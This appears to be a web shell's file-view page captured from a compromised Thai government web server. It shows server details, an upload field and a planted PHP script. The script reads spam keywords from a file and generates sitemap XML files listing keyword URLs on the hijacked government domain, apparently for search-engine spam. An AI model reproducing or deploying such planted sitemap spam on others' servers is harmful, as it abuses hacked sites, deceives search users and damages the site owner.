|
Server : Apache/2.2.2 (Fedora) System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686 User : apache ( 48) PHP Version : 5.2.9 Disable Function : NONE Directory : /var/www/html/phpsysinfo/videos/ |
Upload File : |
<?php
$domain = 'http://pathumserver.pathumthani.go.th/phpsysinfo/videos/';
$domainUrl = 'http://pathumserver.pathumthani.go.th/phpsysinfo/videos/?th=';
$sitemap_name = 'th';
// Load the keywords from the keywords.txt file
$keywords = file('car.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
// Set the maximum number of links per sitemap file
$max_links_per_sitemap = 5000;
// Initialize the sitemap index
$sitemap_index = '<?xml version="1.0" encoding="UTF-8"?>' . "\n";
$sitemap_index .= '<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . "\n";
// Initialize the sitemap files
$sitemap_files = array();
// Iterate over the keywords and generate the sitemap files
foreach ($keywords as $i => $keyword) {
// Calculate the sitemap file number
$sitemap_file_number = ceil(($i + 1) / $max_links_per_sitemap);
// Create a new sitemap file if necessary
if (!isset($sitemap_files[$sitemap_file_number])) {
$sitemap_files[$sitemap_file_number] = '<?xml version="1.0" encoding="UTF-8"?>' . "\n";
$sitemap_files[$sitemap_file_number] .= '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . "\n";
}
// Create a new URL element
$sitemap_files[$sitemap_file_number] .= ' <url>' . "\n";
$sitemap_files[$sitemap_file_number] .= ' <loc>' .$domainUrl. urlencode($keyword) . '</loc>' . "\n";
$sitemap_files[$sitemap_file_number] .= ' </url>' . "\n";
}
// Close the sitemap files
foreach ($sitemap_files as $sitemap_file_number => &$sitemap_file) {
$sitemap_file .= '</urlset>' . "\n";
file_put_contents("$sitemap_name-$sitemap_file_number.xml", $sitemap_file);
}
// Create the sitemap index file
foreach ($sitemap_files as $sitemap_file_number => $sitemap_file) {
$sitemap_index .= ' <sitemap>' . "\n";
$sitemap_index .= ' <loc>'.$domain.$sitemap_name.'-' . $sitemap_file_number . '.xml</loc>' . "\n";
$sitemap_index .= ' </sitemap>' . "\n";
}
$sitemap_index .= '</sitemapindex>' . "\n";
// Save the sitemap index file to sitemap.xml
file_put_contents($sitemap_name.'.xml', $sitemap_index);
// Output a notification that the script has generated the sitemap.xml file
echo "Sitemap.xml sudah selesai dibuat cuk!";
?>